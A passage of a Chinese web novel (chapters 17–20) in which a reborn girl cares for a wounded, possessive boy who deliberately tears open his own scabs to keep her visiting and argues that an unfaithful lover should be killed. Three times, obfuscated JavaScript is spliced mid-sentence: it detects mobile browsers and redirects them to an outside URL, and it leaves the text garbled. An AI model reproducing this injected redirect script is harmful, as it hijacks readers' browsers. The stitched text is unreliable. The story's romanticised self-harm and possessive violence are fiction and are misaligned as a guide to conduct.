光影浮动,窗棂被萍亭推开,尽数日光映射入室,照亮了书案旁的两人。
姬时语将一沓书本抱来,她落了座。
一只脚腕垫在下方,四书五经暂且不论,话本也不是江曜这会儿该看的,她抽出两本书丢在江曜面前。
江曜看去,是三字经和人字说。
姬时语指着其上一行字,“人之初,性本善。”
江曜回道:“人之初,性本恶更确切。”
“江池生。”
“若天下人初心唯善,这世道的凄苦都能少去大半。”
少年眼眸冰凉薄寒,他钻入某个死胡同执拗其中,姬时语幽幽叹了一口气。
这书姬时语念不下去了,她清亮的眸子映着江曜的影子,她说道:“江池生,我二姐房中的毒蛇和老鼠是你丢进去的吧。”
江曜身影一晃,这不是在问他,而是——
“我知道是你干的。”
一侧头,姬时语静静凝望于他,江曜避无可避,转而狐狸眼升起难言的森冷。
他认了:“是。”
室内死寂,日照温暖,可两人周身弥漫着寒气。
江曜眼尾噙着阴骘,他不知道姬时语了清楚他的所作所为,那日为何还要包庇袒护,这时朝着他又要直言揭穿。
许是两人之间的把戏,皆心知肚明。
可回应他的是姬时语浅浅的叹气。
并非他所想,姬时语只是说:“我一早便猜到是你所为,二姐那样凌辱你,你心有不甘,怨恨她再正常不过。你放心吧,我不会告诉任何人。”
江曜怔愣,连阴冷也因而停滞。
原来她还是一心护着他,出于某种关心才会问?
江曜想知道为什么。
“你如今是我的人,我不会容许旁人欺负你,二姐咎由自取,我没什么可说的。“
姬时语已是开口道:“只是,江池生,下回你万不可再丢毒蛇过去,不管是死是活。”
江曜张了张嘴,姬时语板着小脸,十足严厉斥道:“她动手打你,我许你还击,但你不能动杀心。你住在忠义侯府,不可对这府上的任何人有杀念。”
“我,”江曜蠕动嘴唇,他垂下眼睑,欲狡辩,“我没想杀她。”
姬时语看这人装模作样的,便知那时姬如静动手,他早一肚子坏水,算计着加以百倍报复。
她最是受不住江曜示弱装乖,可也没忘记刚将人捡回来时,这人一口利牙,凶残又蔫儿坏。
猛兽幼崽会装乖顺,芯子里的狠劲,乃天性,改不了。
“哼,我可不管人之初,性本善还是恶,总而言之,闹出人命,天王老子来了都护不了你。”
姬时语哼哼唧唧的,她又相较一番,“还是说,你真觉得一命换一命很值得?”
小姑娘说:“那不值得。”
江曜点点头,像听了进去。
姬时语瞧见他低眉顺眼,不觉忆起前世江曜执念三皇子妃柳眉,便是最后执念成了痴狂,不顾一切将人掳走,摧残她、折辱她。
杜南笙说柳眉被寻回京中,她被鞭打得皮开肉绽,面容尽毁,身上无一块好肉。
由爱生恨,由恨生厌,江曜不懂真意,只一味以自己所行之道报复柳眉。
这一步之间便是踏入深渊,姬时语却想在这一世,趁着江曜年岁尚小,带他迷途知返。
“你的命同样可贵,江池生,你要学会珍惜自己啊。”
姬时语捧着下巴尖,江曜抱着三字经读着,小姑娘浅笑颜兮,像那木窗之外的娇花艳丽的开。
江曜没来由地想,阿锁是个难缠的姑娘,她说什么,他听着便是。
朗朗念书声,他念:“人之初,性本善……”
江曜读了三遍三字经,听得姬时语再耐不住打了个大大的哈欠,这时有人自窗边伸过来脑袋,“五妹这是在教人读三字经呢,你自个儿会吗?莫要误人子弟啊。”
是下了课归府的姬云暮。
“大哥,三字经我六岁那年就会背了,哪里在误人子弟?”
“那你背一个我听听。”
姬云暮绕过隔扇门,径直步入屋中,他嘴角带笑,如沐春风,“五妹六岁便会背的,十岁更应背得滚瓜烂熟了。”
“大哥你这是强人所难。”
姬时语抱起手臂,她才不想理睬姬云暮的逗趣,拿她跟小豆子一般哄,“你今日来做什么?”
“五妹这话说的,没事就不能来找你了吗?这不是早听说你捡了个孩子入府,我好奇啊。”
姬云暮说的真诚,眼眸转向江曜时暗沉了几分,“嗯……这就是江池生啊。”
江曜坐在椅中,没有要起身的意思,姬时语一个咯噔,生怕姬云暮和姬如静一样来找事,“好了,大哥,江池生腿行动不便。”
“我又没欺负他,你慌什么?”
“我在这,还能让你欺负他不成?”
姬云暮一时语塞,他噎住:“小五看他看得很重啊。”
“你看都看了,也该走了。”
姬时语和二房来往不多,只记得姬云暮身为姬如静的亲哥,屡次给她带点好吃的小零嘴,可光有姬如静横着两人之间,她便交不出真心。
“喂喂,五妹这就赶我走啊,可是因为大哥今日没给你带吃的?”
姬云暮做出赔罪状,双手合起,“下回我一定记着。”
“不是吃不吃的。”
姬时语哪有那么贪嘴,她推搡着姬云暮往外头走,“你在这里,碍着江池生读书了,他怎么学的进去嘛。”
“五妹,你大哥我也是夫子少有的,常夸的聪慧之才,不如让我来教他吧。”
“不要。”
姬云暮嬉皮笑脸,“我教人定然比你要强很多。”
此话一出,姬云暮只感觉后背一阵发凉,有道极其阴冷的视线落于他身。
像要刺穿他的心脏。
“大哥,慢走不送。”
姬时语一把将人推出门外,而后关上屋门,一气呵成。
姬云暮不甘心地敲门,又喊道:“五妹怎么如此绝情,你连这都不信大哥?”
“不是不信你,而是江池生与大哥身份有别,还是不劳烦大哥了。”
姬时语隔着门轻笑,“学了一日,大哥回去歇着吧,这里有我便够了。”
“好吧。”
姬云暮识趣地不再逗留。
屋外脚步渐行渐远,姬时语松了口气,侧头之时,江曜已然睨了眼过来,她走过去道:“你应也不想外人插手,教习你功课吧?”
“我不认识他。”
姬时语扑哧一笑,遂解释道:“那是我大哥
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15060550|162504||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,他是姬如静的兄长。”
江曜讶然:“我以为你们关系不错。”
“大哥待我是还不错。”
姬时语耸耸肩,她和二房本并无矛盾,奈何姬如静不知怎么,见了她跟吃了火药似的,一点就炸。
这回二房之中多了毒蛇老鼠,姬如静心下定论,认定此事姬时语所为。
而姬云暮是姬如静的亲兄长,又不是她姬时语的,她还没傻到真觉得姬云暮会偏心自己,而不关心自己的嫡亲妹妹。
大房二房之间的薄冰早晚要碎掉,只看要多久。
不过嘛,这些琐事皆不重要,眼下最要紧的,姬时语站在江曜身侧,垂眼便是少年平静的侧颜。
最要紧的还是他。
白氏与楚王府之后,隐匿在乡野的天潢贵胄,是她要养大之人。
少年乌发用白色发带系起,发带太长,一段耷拉在他的脖颈,和乌发混杂。
姬时语看过去时,不小心便瞥见他发下蜿蜒密密麻麻的痂痕。
她的手,似生了意识地,拨开他的头发,姬时语蹙眉,“怎会这样多?”
那日月夜,江曜在水里又喝令她闭眼,姬时语没看得太清。
此刻她扒开江曜的衣袍,入目竟是他伤痕累累的后背。
伤痕纵横,浅淡愈合的新肉之上还有更深的结痂,像是一块好肉,被一遍、一遍打裂,结痂、撕开、再愈合,腐朽不堪。
不等姬时语再多看,江曜已是拉好衣襟,他捉住她的手腕,沉脸轻轻将她从身上拂开。
“别看了。”
你会哭。
姬时语的手指缠在一起,她吸了吸鼻子,疼意顿入她心口,已是第二回见,她能忍住不哭,可还是忍不住不去心疼。
萍亭在边亦是亲眼所见,不觉心生可怜,她问道:“小姐,奴婢去取伤药来。”
“拿我父亲常用的金疮药。”
姬时语记得,父亲姐姐受伤,用那个好得快。
萍亭为难地睨眼,萍柳朝她摇了摇头,她还是抬脚出了院子。
“江池生。”
姬时语抿抿唇,她喊了他,眼神又是没忍住往他衣襟瞧看,“你都是怎么弄得一身伤?”
江曜不想说,少年缄默。
两人的初遇,江曜正是在辽城挨了一顿毒打,长着一双凛冽狐狸眼的少年袖中藏刀,仅凭一只匕首狠厉反杀。
“辽城的乞丐早分好了地,各人在各处,互不干涉。我身为外来人,抢了他们的乞讨生意,他们便要我的命。”
少年眼眸阴郁,说得平静。
乞儿们抢夺领地,城外之人,则排除异己。
风餐露宿,与人与狗抢食,能活着已是不易,身上这些伤于江曜又算得了什么。
萍亭将金疮药交给姬时语,她默不吭声地为江曜擦药,江曜却别扭转了头。
“我自己来吧。”
“你后背又没长眼睛。”
江曜烦躁之意涌上,他狐狸眼愈发阴鸷执拗:“小姐看了要哭,对我可怜也是,同情亦是,莫非你要负这个责?”
原来他担心这个,姬时语绽开笑颜。
“我不会哭的,而且,对你,我一定会负责呀。”
江曜看她没心没肺的笑,心头更烦了。
她懂不懂自己在说什么?
18. 第 18 章
新旧伤疤蜿蜒崎岖在江曜的后背,林大夫给他开过愈伤的药膏,可姬时语稍作打量,发觉江曜来忠义侯府之后,这伤就没见好。
她感到纳闷,但还是从萍亭手中拿来了金疮药,舀了一点。
江曜身子绷直,小姑娘的指尖微暖,手上的药膏却很是冰凉,她每到一处,指尖都会在血痂之上停顿片刻。
惹得江曜后背痒痒的。
褪去衣衫之后的少年,稍一吹风,便只觉全身上下唯有伤口发着热,他的伤太多,姬时语执意要亲自上手抹药。
“往后我不会让人欺负你了。”
姬时语笑中带着无尽暖意,她手下动作轻柔,生怕弄破了江曜的痂痕。
“你要和我姐姐一样,少受点伤,少吃点苦,不管在哪儿,都要平平安安的。”
江曜听得狐狸眼微微愣然。
他不知道自己真的可以,如她所说,一辈子平安喜乐吗?
这个词对他而言十足遥远,可在此时姬时语的口中,便好像已然做了某种承诺。
这让他心口肿胀、酸涩。
很想相信她,多相信一点。
“唉,你也是的!”
姬时语为江曜后背的伤疤上好了药,方做完眸子便忍不住埋怨,“林爷爷给你开的药你可一点儿都没用?怎么这样不听话!”
正是没用,因此伤半分没见好。
姬时语爬到另一面,弯腰去探查江曜的耳朵。
少年被她猝然靠近,下意识地朝后一仰,可姬时语两只小手更快,抓住他的下巴便将人拉了过来。
两人面对面挨着,少年一双狐狸眼瞪得又圆又大,几分羞恼、几分慌张,不过姬时语却未做其他,她只是将他脸拨弄到一侧,挖了一块药抹在他的耳后。
“嘶——”
冰凉的药膏涂抹在耳朵的红肿,尽管力度很小了,江曜还是眯眼呲牙。
姬时语收了手,“很疼吗?”
少年眼尾暗沉,一垂,“不疼。”
“骗人。”
姬时语只是放轻手下动作,给他抹药,“上回林爷爷问你,你也这么说。”
少年被摁住下巴,不得看她的眼睛,烦躁地他想挠头,耳边又是小姑娘的哼哼声,“江池生是大骗子,不过罢了,谁让我心地善良呢,就不拆穿你啦!”
话都说了,这又是哪门子的不拆穿?
少年平白觉着姬时语当真不讲理,又爱耍无赖。
“你真的,无人看管就一点儿也不听话,用药得遵大夫之言,林爷爷说了每日都得上药,你怎么就是不听?”
江曜就这么受着她的絮絮叨叨,“这后耳红肿不小,你不上药,何时能好啊?当个聋子有什么好的,哪有人盼着自己不好的,江池生,我真不懂你。”
“真聋了可就听不着你说这些话了。”
少年眸光阴郁。
“你还嫌我吵?哼!江池生,你若再说一遍,我可要打你了!”
姬时语没好气嘟嘴。
她想学林大夫那般,摁捏江曜的痛处,让他吃痛,也好教训一下这个撒谎精又偏是犟种的少年,可他是伤患,她于心还是不忍。
小姑娘气急了,也就是甩了个冷脸,哼哼抱手臂,便这么俯视看江曜。
“小姐,那你打我吧。”
少年抬起眸子,狐狸眼盛起点点浮光。
他容貌本就俊逸,小小年纪便是眉宇疏朗,明月照怀,一抬一睇,暗沉之色流转,如同山水墨画涓涓流淌。
姬时语惊愕瞪圆眼睛,猫瞳顿感狐疑,谁料少年语出惊人。
“你惩戒打我吧,骂我也好。”
“你还要我打你?”
“我惹了小姐不快。”
“我那是在逗你!”
姬时语要抓狂了,平日那么犟种,这会儿认真什么呢?
江曜狐狸眼一弯,闻言唇角勾起,“原来你是在逗我,我当真了。”
笑意不减,他分明也在故意逗她。
“可恶!”
疯了吧!
姬时语才不要被江曜逗着玩,谁主谁仆,怎么有种两人身份互换,她才是那个被揪住后脖颈,嗷呜叫唤的小兽呢?
江曜坏,姬时语好。
“好嘛,你说的让我打你,你惹我不快,该罚!”
姬时语气得一拳砸过去,虎虎生风,好不用力。
江曜因她突然举措闭了眼,可下一瞬,那小拳头只是轻轻锤打在了他的肩头。
轻如羽毛。
江曜眼眸半睁,却见姬时语已拿了药膏,重新弯腰在他身前涂药,眸色专注。
说好的打他,只是这样?
阿锁,你的心太善良了啊。
这样下去,若他不在身边,外头的人都欺负阿锁如何是好?
想到这点,江曜轻一抬眼。
见小姑娘白得发光的脸蛋犹在面前,柔软的肌肤之上不见一丝痕迹,只有下巴尖留着窝睡时的红印。
这样娇嫩的脸蛋还是不要有痕迹好,若要有,也得是他留下的才好看。
江曜声音瞬间低哑,他沉下阴郁,问道:“小姐,你能每日来帮我上药吗?”
姬时语想来定是江曜不便,又不愿意让丫鬟们近身。
这些时日江曜在忠义侯府,唯有和她这个五小姐关系亲近一些,旁的人都难接近于他。
这种依赖是一个好的预兆,不是吗?
“好嘛好嘛,你想我来的话,那我过来就是啦!”
姬时语弯弯圆眼。
少年不再吭声,只是静候姬时语上完药。
……
江曜从未想过,有朝一日他会眷恋上姬时语每日来思芳院,为他上药的温柔。
她小声埋怨他不爱惜自己,可手下又格外轻,就好像他是什么轻易破碎的物什,一碰便要坏掉。
江曜被人说的最多便是,若非他样貌好,一条贱命根本就是不值钱的东西。
可小姑娘却认认真真地拉着他说,他是天底下很珍贵的无价之宝。
她的偏爱呵护,江曜不想信,内心却无一刻在动摇。
每逢夜深人静,他独自坐在思芳院,孤僻阴暗之时,他总会不自觉抚摸上他的后背。
想起姬时语心疼他、为他掉眼泪,后又忍耐着朝他明媚的绽笑。
其实江曜不喜欢看她哭,总觉得她的眼睛笑起来最是漂亮,可她为的是自己哭,他就又很想看她泪眼汪汪。
啊,就是很想欺负她,恶劣的心思怎么都压抑不住。
光想着,便是颤栗的兴奋。
姬时语太纵容他了,一旦她准许江曜越过那道天堑,他可能会释放心底最深处的野兽,再度犯戒。
怎么办呢?
再多纵容他一点吧,阿锁。
“救了我,要负责到底啊……阿锁。”
“是你纵许我缠着你的。”
少年的狐狸眼暗光幽幽,他呵笑了一声,褪下衣衫,徒手往后背抠去。
坑坑洼洼的伤疤太多,他的手指触及崎岖的疤痕,指尖缓缓捅入伤口,霎时痛意自脊背翻涌而起,少年的身躯再也忍不住地发抖。
“哈……”
江曜死咬住牙,大颗汗珠溢出,缓缓落入他的鬓角。
满背的结痂,江曜一鼓作气撕烂扯破,才愈合的血痂再度鲜血横流。
江曜
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15068862|162504||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
沉痛闷哼。
不疼是不可能的,但血肉生生被剥开,伤口之巨疼,他才能记住,他所求的对待,充斥了多少温柔与怜惜。
一旦伤痊愈了,那样的对待便再不会属于自己。
江曜想见明日的姬时语。
只要他伤了,阿锁定然会来吧。
温热的血肉裸_露,手心落着黏腻湿滑,那是一股痛苦与希冀的交缠。
疼意如已麻木,他却像感知不到一丝痛楚。
江曜凝视满手的鲜血,阴恻恻地笑了。
明日,阿锁会露出什么样的神色呢?
该多心疼他呢?
好期盼啊。
光想这些,江曜整个人止不住的亢奋,几乎头晕目眩。
……
翌日一大早,江曜披着单薄的外衫,在书案便苦等姬时语的到来。
闲来无事,便执笔在宣纸上写字。
姬时语教会他许多字,但江曜固执地只写“姬时语”三个字。他如执拗的小孩,一旦想要抓住什么,便惩戒自己写了一遍又一遍。
三个字,他写了一百遍。
可姬时语还是没来。
江曜又在写。
两百遍、三百遍、四百遍……
“江池生,我来啦!”
清脆的铃铛声先入了屋,而后是小姑娘盈盈一笑的娇颜,江曜只觉得心口的期盼落了地,他飞快藏起写满姬时语名字的纸。
原来要写四百遍的“姬时语”,她才会来。
少年乖巧地坐在书案边,像在练字,姬时语很是满意,跳着走近莞尔道:“你没忘我说过的话啊,照这样下去,不出一个月,你定能认全字啦!”
“小姐。”
江曜只是说,“能不能先帮我上药?”
姬时语没想太多:“好,坐过来吧。”
江曜褪下外衫,他转过后背的一刹,血痂开裂,身上血肉模糊。
本已愈合的旧伤再度被人撕开,绽出血淋淋的红肉,伤口比昨日还要惨烈。
姬时语登时惊涛骇浪。
不用他想,只可能少年作自残,撕裂了全身的血痂。
“江池生!”
那种疼到窒息的感觉,令姬时语一时脑袋发蒙,人快要跌倒了。
“你怎么能?你怎么能!”
哭声骤然响起,江曜回过身,姬时语的眼泪像断了线的珍珠,不住掉落。
她圆眼红红的,怒瞪江曜,是发了狠的生气。
小姑娘染着哭腔的愤怒席卷了江曜,姬时语扑过来就打他。
“我说过,不准你伤害自己,你怎么就是不听!”
少年是真有点慌了,小姑娘动了真火,打在他肩膀上的拳头如雨点,“江池生,你这样,我再也不要来了!你是死是活,谁管啊,我才不要管你,你太讨厌了!”
气疯了的姬时语感觉江曜无药可救,转身便要走。
江曜一下捉住了她的手腕,狐狸眼顿起了几分着急,“不要。”
姬时语还想挣扎,可江曜攥得很紧,生怕她不见了。
她还在啪嗒啪嗒掉着眼泪,是为着感同身受的疼,又是暗骂江曜病的不轻,喜欢自残撕了伤疤。
怎么就有这样的人?
他不会痛吗?
几番挣扎,都挣脱不开江曜的手。
攥又攥的紧,逃又逃不了,姬时语扁着嘴,才是委屈可怜。
江曜又慌又急,狐狸眼的眼尾渐渐染了红,他的指骨泛起青色,透着三分白。
他抓着姬时语,像抓住了最后一根救命稻草。
“不要……”
看他难受,姬时语还是心软了。
19. 第 19 章
萍亭、萍柳乍然听见内室的动静,自家小姐不知为何的抽泣,两人齐齐入了内。
入目是姬时语的眼泪盈盈,还有江曜那鲜血直流、惨不忍睹的后背,萍亭当即发出了尖叫。
“天呐!”
萍亭萍柳哪见过这样的伤势,后背无一处完好,鲜肉被剥开皮,血痂残缺,开裂的伤口不住有血蜿蜒淌下。
瞧着也太疼了!
萍柳忙问:“小姐,可要奴婢去寻林大夫?”
“你们先出去,这里不需要人。”
“可……”
萍亭和萍柳互换一记目光,虽说姬时语不要,但两人还是决意一人去取药和麻布,另一人备水。
姬时语刚起身,少年探手拽她,一个大动作,后背伤口瞬间崩裂,血色霎时染红了姬时语的双眼。
“坐好!”
姬时语喝令。
江曜不动了。
他乖乖定坐,任由姬时语将他翻了个面,后背朝她,袒露皮开肉绽的血肉。
这伤口如同遭猛兽撕咬,越看越疼,姬时语的灵魂仿若被撕裂,胸口好闷。
心尖传来麻木的酸疼,她强忍着不适,取来巾帕便轻轻抹去大片血渍。
片刻,帕子浸成了血色。
姬时语又换了一张。
三张巾帕用尽,江曜后背伤口抹去了大半的血,还有些仍在渗透。
特意避开了江曜的伤,可少年还是低低倒吸凉气,姬时语一听,又是没好气地发了脾气。
“你还知道痛了?”
江曜垂头轻道:“很疼。”
“我真当你是个不知道疼的,我和你说过什么?要爱惜自己,你自己都不心疼,还想旁人心疼你?”
姬时语哼着便冲他恼火生气:“我全白说了!江池生,你若是厌恶我管着你,只管告诉我,我也不是非要日日来管你不可。”
越说那口气便越重,擦拭完血渍,姬时语“啪”地将帕子丢在他身上,气鼓鼓甩了脸。
“你就说,你是不是嫌我扰你清净!”
江曜接下帕子,就那么塞回到姬时语手中,他道:“我并未这么想。”
小姑娘生气归生气,可又实在好哄的,他只是眼尾低垂,狐狸眼红了红,俨然像真知错了,姬时语便捏紧帕子,紧绷的小脸软下几分。
“那你还抠了血痂,成心不想好是吗?”
江曜不语,只是一味抬眸轻轻看她。
那双狐狸眼黑得深邃,如阴冷冷的、望不尽的水潭,姬时语被他紧盯的不自在。
她扭头哼哼道:“江池生,你说话。”
“没有。”
江曜干巴巴的,补了一句不算真心之言,“我想好转。”
“哼,算你还有一点儿良心。”
姬时语被哄好了,江曜便听小姑娘又说:“身体发肤受之父母,伤在你身,你爹娘若知晓会难受的。”
缄默许久,江曜沉着嗓子回:“我没有爹娘,我娘早死了。”
姬时语一噎,恍惚自己说错了话,她后悔咬舌。
“可是,可是你娘还在天上看着你呢。你吃了那么多苦,重伤未愈,她定急的来回转,想帮又帮不了你,得伤心坏了。”
江曜凝望姬时语,不懂她哪来这么多歪理。
姬时语兀自说:“我娘便很心疼我,她说天底下的娘亲大抵一样,你是她十月怀胎生下的孩子,她会比谁都疼爱你,更不想你受一点伤。”
“也许吧。”
江曜垂眸,他并不欲多提。
外头萍柳及时折返,她端来一盆温水,还有抹脸的巾帕。
姬时语哭得眼睛微肿,玉脸泪痕显眼,萍柳伺候她擦擦脸蛋,又用温帕子揉揉眼。
江曜一动也不敢动,僵直地端坐。
姬时语瞥去眼,她挪挪身子,到底还是从萍柳手中取来金疮药,为少年的伤口重新上药。
“小姐,给江小公子包扎一下吧。”
萍亭拿来了麻布。
正巧姬时语涂完了他的后背,她应了一声,萍亭和萍柳两人便上手替江曜上半身包了个严严实实。
江曜不喜萍亭二人靠近,可姬时语半点没有要亲自过来的意思。
他那双狐狸眼幽幽暗暗的,再度溢着阴郁,默默忍受着,垂了下去。
一切妥当,江曜穿好衣衫。
他低垂着头,余光之中望见萍亭将巾帕打湿,轻柔地覆在了姬时语的双眼。
小姑娘窝在一张梨花方座椅之中,脑袋后仰,小脸被那张巾帕盖住了一半,只露出泛着白光的下巴尖。
“江池生,你去读书。”
姬时语的眼上温热,暖流拥入眼眶,终是好受许多,她窝坐着,似要小憩一会儿。
江曜应她,复而坐回书案摆开纸笔,一言不发认字读书。
一时之间,内室又归于寂静。
好半晌,眼上巾帕失了温热,姬时语便又唤了萍柳来,再换一盆热水,她覆上一张新帕子,遂靠回椅中。
江曜坐立难安,这时候的姬时语太安静了,静得他心中发慌。
因而又练了一页字后,江曜再忍不住从旁抽出一本书来。
他出声道:“小姐,我想念书。”
“那你念吧,我听着。”
江曜不自觉朝后一睨,可座椅里的姬时语还在侧躺,他眸光落回手中书本。
书名《鬼怪异志》,江曜随意翻开一页之后,便捧书作读。
“书生姓柳,下场中了秀才,回家路途遇着一只湿透的狐狸,于心不忍,便将其带了回家。书生为狐狸治伤,细心照料,不久狐狸伤好离去,书生悲不自胜。后来村里来了一位妙龄女子,容貌美艳,她上门便寻书生,说为了报恩,愿意此生只跟随于他。”
江曜嗓音清冷低沉,他挑着眼小心觑姬时语,又说:“某日,风雨雷加,夜时书生摸到床榻的狐狸尾巴,惊觉他的美娇娘竟是狐狸精所变,都说这精怪吸人精气,书生惊恐失魂,一把冲出了家门,不管不顾屋外大雨倾盆。”
座椅里的小姑娘动了,她抬起圆润的下巴尖,柔软脸蛋一鼓,“啊,那之后呢?”
江曜的狐狸眼微眯,无声勾了唇角,清冷嗓音都染了笑意。
“此后书生再不信狐妖任何,只觉得她话皆是谗言,痛骂她恩将仇报,竟要取他性命。狐妖伤心欲绝却还守着书生的家,直到书生归来,身侧多了一位新过门的夫人,两人竟寻来一茅山道士,要在今日降服家中妖怪。”
“怎么这样?这书生可恶,到底谁才是恩将仇报!”
小姑娘一巴掌拍在了上好的梨花木座椅,可很快手心红红,她是把自己给打疼了。
“是啊,那日狐妖质问书生,为何不信她?”
江曜还在念:“若非书生救她一命,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15082107|162504||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
她早已身死,如今书生变了心,她所求不复存在,落得如此地步,她认了,要杀要剐她都随他。”
待到此处,江曜的狐狸眼再难抑制阴冷,他脸色发黑,倏地扣上了书本。
“怎么了?”姬时语问。
江曜冷哼:“这狐妖太懦弱了些,天生大妖,在知晓书生变心的那一刻,她就该出手杀了他!”
“为何?”
“已变了的心,留着还有何用?不杀他,等书生杀了自己,真是愚蠢。”
姬时语瞬间起身,眼上的帕子啪地掉落,那双干净如水洗过的猫瞳圆圆。
“江池生,这只是一个话本子,做不得真。”
那面少年眼含冰凉,眼尾淬了郁色,看得姬时语心惊。
江曜睨她,眼眸深沉,他像要执拗到底,“那小姐说,若你见意中人变了心,你会如何?”
“变心就变心呗,这世上多了去的男人,我还怕没了他找不到更好的夫君啊。”
“若是你深爱他。”
姬时语想了想:“唔……大抵会挺伤心的,哭上几日,哭完也就算了。不然呢,总不能双手染血报复回去吧?”
“薄情寡义,该都杀了。”少年沉沉冷漠。
姬时语吓得一蹦,她道:“不要老打打杀杀的,这不好。”
“想要之人不就是要不惜一切代价,强留她在身边吗?不爱了,那就留一具尸体,这才是圆了心愿。”
“江池生,你哪门子的道理啊?你小小年纪的,那么多爱不爱的,你懂什么是男女情爱吗?”
少年果然噤声,像被她说中了。
姬时语说的轻巧,笑得招摇,她只把十三岁的少年当孩子看待。
江曜寒意更甚,入春的室内竟都连下几分冰冷。
少年不满意姬时语的回答,姬时语小脸一僵,忆起他前世那股固执劲儿,疯狂又病入膏肓,总觉着自己该做点什么规劝他。
他还小,歪树掰直,应还不晚。
“江池生,你想啊,那人变心,是她负了心,而你是好公子,值得世上之人最好的回报。你这样好,何必拿他人犯的错来罚自己呢。”
姬时语咳了两下,娇花似得绽了笑,“离负心汉得远远的,自己过好日子多好!”
“这话是在书中学的?”
“哼哼,你的阿锁小姐我可是读了上百本话本子,什么样的男女爱情天下种种没看过?要说缠绵悱恻,我这会儿都能给你编个故事出来。”
绝非姬时语说笑,前世她可没少写男女之爱的话本子。
少年眼里在深究,姬时语以为他听入了心,可他眉宇蹙起凝思,突兀地问询:“阿锁最中意什么样的男子?”
“啊?”
“你的中意之人。”他固执说。
“我中意的啊……”
姬时语愣住,一根食指点在红唇之上,深思片刻,她笑眼明媚如骄阳,“嘿,我还真有!”
江曜一下坐正了。
“我要意气风发的少年将军大胜归来,迎着烈日骑跨白马之上,鲜衣怒马少年时,一日看尽长安花。君子之风,淡笑言间,他接我上马游街!”
姬时语抱着下巴歪歪头,说到意中人的模样,她的嘴角止不住地笑。
江曜垂下阴暗的眸。
少年将军、君子之风、意气风发。
呵,哪一个他都沾不上。
20. 第 20 章
这些时日姬时语雷打不动地往思芳院跑,每日亲自为江曜上药。
少年果真乖顺听话,除了眼眸总是黑黑沉沉,盯着她也不知道到底在瞧什么。
他总缄默不语,却不反抗姬时语的照顾。
姬时语便没有多想。
养了足有十日,江曜后背那些怖人血痂终是结疤愈合,没再撕裂淌血。
就是姬时语跑得太勤了,每日掐着时辰去,林妈妈不免有些怨怪。
“小姐对江小公子也太细致了些,比照顾自己还要上心。”
对此姬时语只是笑眯眯道:“我那是拿出了咱们忠义侯府一百个待客之道,细心体贴,外人只会说我们的好呀。”
林妈妈不知道她的苦心呐!
都说请佛容易送佛难,她何止是请佛,根本就是捡了个小祖宗回来。
只待父亲归府,再将这个完好无损的小祖宗江曜,平安送还给楚王府便妥了。
“好好好。”
林妈妈虽嘴上念叨,可心里很是疼爱姬时语。
小姑娘想要的,她一概应声,多念着几句,手上却已为姬时语把药膏麻布备好。
这几日舒氏少见的没来韶华院,她招呼全府上下修整府邸,姬合英陪同,替舒氏写好了请帖,五月初六请各府夫人小姐过府。
姬时语听着,里头便有镇国将军府于家。
是要为姐姐姬合英相看将军府了。
清早姬时语让人传话思芳院,她今日要晚些去寻江曜,萍亭带了回话,江曜说他会在秋水池边等姬时语。
“娘,于家都要来哪些人?”
姬时语可没忘自己还肩负重任,到了初六这日,她头一个来了海棠苑,拉着舒氏的手便撒娇。
“你和姐姐忙乎那么久,却什么都不跟我说,哼。”
小姑娘嘴巴撅得老高,舒氏笑着拥她入怀,哄道:“你半大点儿,这些事哪用得着你操心?”
“我怎么就不能操心了,我也老大不小了!”
十岁的孩子说出这话,直惹的舒氏发笑,她不觉调侃:“你不满心扑在那小公子江池生身上吗?”
“也没有吧……”姬时语心虚。
“我听林妈妈说,自打江池生病情好转,你每日清晨懒觉是也不睡了,早早爬起来去思芳院。又是教书识字,又是喂药看病的,不知道还以为你多了个弟弟呢!”
被舒氏一笑,姬时语莹白小脸唰得通红。
舒氏笑得愈发开怀,不免目光慈爱,她摸摸姬时语的丸子揪揪,道:“你这样体贴人的样子,哪想过从前还是个冒失鬼?”
“娘,”姬时语从舒氏怀里探出小脑袋,“我何时冲动冒失过了?”
“你忘了?”
舒氏道:“四岁那年,你徒手爬上了主院的银杏树,就那么把马蜂窝捅了下来,一张脸蛰肿的老高,跑回来就是嗷嗷大哭。”
“阿锁五岁那年抓了好几只蛐蛐,全塞老鼠洞里了,我可看得一清二楚。”
姬合英步入屋中,她扬着笑跟了一句。
“姐姐!”
姬时语顿时不服了:“好啊,娘和姐姐你们都欺负我!”
这一桩桩的陈年往事有什么可提的,她早丢到犄角旮旯去了,记都不记得!
亏她们掰扯的出来。
“阿锁好玩着呢。”
“我一点也不好玩!”
姬合英没忍住,下手戳戳妹妹软嘟嘟鼓起的小脸,玩得不亦乐乎,姬时语不耐烦拍开她手指,她也不恼。
